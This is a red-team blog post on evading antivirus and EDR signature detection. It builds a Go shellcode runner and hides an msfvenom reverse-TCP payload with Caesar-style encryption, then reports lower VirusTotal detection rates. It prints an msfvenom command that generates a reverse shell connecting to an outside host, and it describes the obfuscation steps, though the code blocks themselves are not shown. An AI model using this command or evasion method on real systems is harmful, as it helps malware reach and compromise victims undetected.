In today’s red team exercises, the weaponization phase is one of the most time-consuming stages. The preparation during weaponization significantly impacts the success of the operation. Particularly with the enhanced capabilities of the blue team’s prevention and detection products, the weaponization phase’s importance continues to grow.
While many C2 frameworks have built-in evasion mechanisms, attackers can easily bypass EDR products with custom-written, simple malware. This blog series will commence with signature-based bypass methods and later delve into bypassing behavioral controls alongside sandbox evasion methods in subsequent posts.
Due to the unique features of Go and the scarcity of resources, this blog series will be written in Go, although one can find resources for languages like C/C++/C# on the web.
Throughout the series, we won’t delve into different shellcode execution techniques (dll injection, PowerShell shellcode runner, etc.). Instead, we’ll examine how different bypass techniques applied to a simple Go shellcode runner yield varying results.
1. Understanding AVs/EDRs
Let’s briefly discuss malware and bypass mechanisms. Antiviruses aim to secure the system by checking files run by end-users for malicious activities. There are two basic types of controls: signature-based bypass and Behavior Analysis (sandbox).
- Signature-Based Controls: The initial check is to see if the malicious file contains specific signatures. If a value with a particular signature is detected, the file can be directly classified as malicious without being executed.
- Behavior Analysis: Behavioral analysis involves running the checked file in a virtual system to determine if it exhibits malicious behavior before the malicious actions start.
While signature-based controls allow quicker actions than behavioral analysis, they are relatively more straightforward to bypass with custom-written malware. Behavioral analyses aim to stop the malware by recognizing that the malicious shellcode is being checked before it can decrypt and initiate malicious actions. We will delve into the details of these topics with examples over time.
Nowadays, various C2s like Cobalt Strike can generate shellcodes that are relatively harder to detect due to different decryption/encryption routines. However, for this series, we need easily detectable shellcodes to observe the effects of the applied techniques. Therefore, we will use the shellcode generated for a basic reverse shell via msfvenom.
2. Building a Basic Shellcode Runner
Now, let’s create a basic Go shellcode runner that we will use consistently in our articles. First, we write a main function as follows:
msfvenom -p windows/x64/reverse_tcp -f go LHOST=1.2.3.4 LPORT=53

Important: To test only signature-based controls, our code terminates as soon as it enters the main function. This ensures that the malicious code entering behavioral analysis will stop itself, but its signatures can still be checked without executing the file.
Here’s a simple shellcode runner we wrote, with short explanations in the comments for relevant parts:

When we scan the file on Virustotal without adding any malicious shellcode, the result returns 9/69. If we do not change the general flow of the code, any bypass method we apply will give us a minimum score of 9/69. Therefore, we aim to maintain this score after adding our malicious shellcode.

When we add the created shellcode, we compile the code for the target system (Windows x64) as follows, start our listener, and run the compiled code on the target system. Then, our reverse shell arrives.

When we check the file with threatcheck, we see that our shellcode is detected.

Shellcodes generated with msfvenom are often detected due to the decryption routines they contain. Since the shellcode itself is not directly related to the topic of this series, we won’t go into depth. However, it will be beneficial to know as additional information.

Before performing the VirusTotal file check, we arrange our code to terminate as soon as it enters the main function, as shown below. The objective is to prevent the shellcode from executing in the sandbox environment and evading behavioral analysis. In other words, when executed, the malware will not perform malicious actions but will contain a malicious shellcode when analyzed statically. This way, we can compare the results of our signature-based evasion steps more clearly.

After changing the code as shown above, the VT result returns 12/69.

3. Custom Shellcode Encryption/Decryption
The VirusTotal results show that many AVs detect our file as malicious. The main reason is that our file has been identified with malicious signatures in the AV databases. We will write a function to encrypt our shellcode so that the malicious patterns it contains will be considered harmless until the shellcode is decrypted. At this stage, you can use different encryption methods as you wish, but the more specific and different the algorithm you use for encryption, the lower the detection rate.
First, let’s write a simple shellcode encryptor. Despite having a low bypass rate, I chose to encrypt the shellcode with Caesar encryption because it is simple and easy to understand. The logic in this algorithm is to create a value by incrementing each value of the shellcode by the given key value. The “decrypter” will be a function used within the shellcode runner.

The “addPrefix” function is a function that adds the key value given before each hex value of the shellcode. This function makes the encryption process more complex. The “removePrefix” function is a method we use in the shellcode runner to remove the added key values, similar to the decrypter.

As shown below, we get the encrypted shellcode output when we call these functions.

4. Integration of Decryption in Shellcode Runner
This section will add the decryption step we created in the first part to the shellcode runner we created. First, we add the relevant functions to our shellcode runner as follows:

Now, just before our shellcode is executed, let’s make it executable using the “decrypter” and “removePrefix” functions:

When we run it in the test environment, our shell comes without problems. After checking it on VirusTotal, we see that the result dropped to the expected minimum value (9/69), as shown below. As mentioned earlier, we aim to maintain the minimum score of 9/69, the result we obtained without malicious functions and without changing the execution routine of the code. Since we focus on hiding the existing shellcode, we are skipping this part for now.

I want to remind you that when we ran a scan with ThreatCheck, Defender did not detect it.

The final versions of the code used in this study are available on GitHub. My next post will discuss bypassing signature-based controls using XOR encryption.
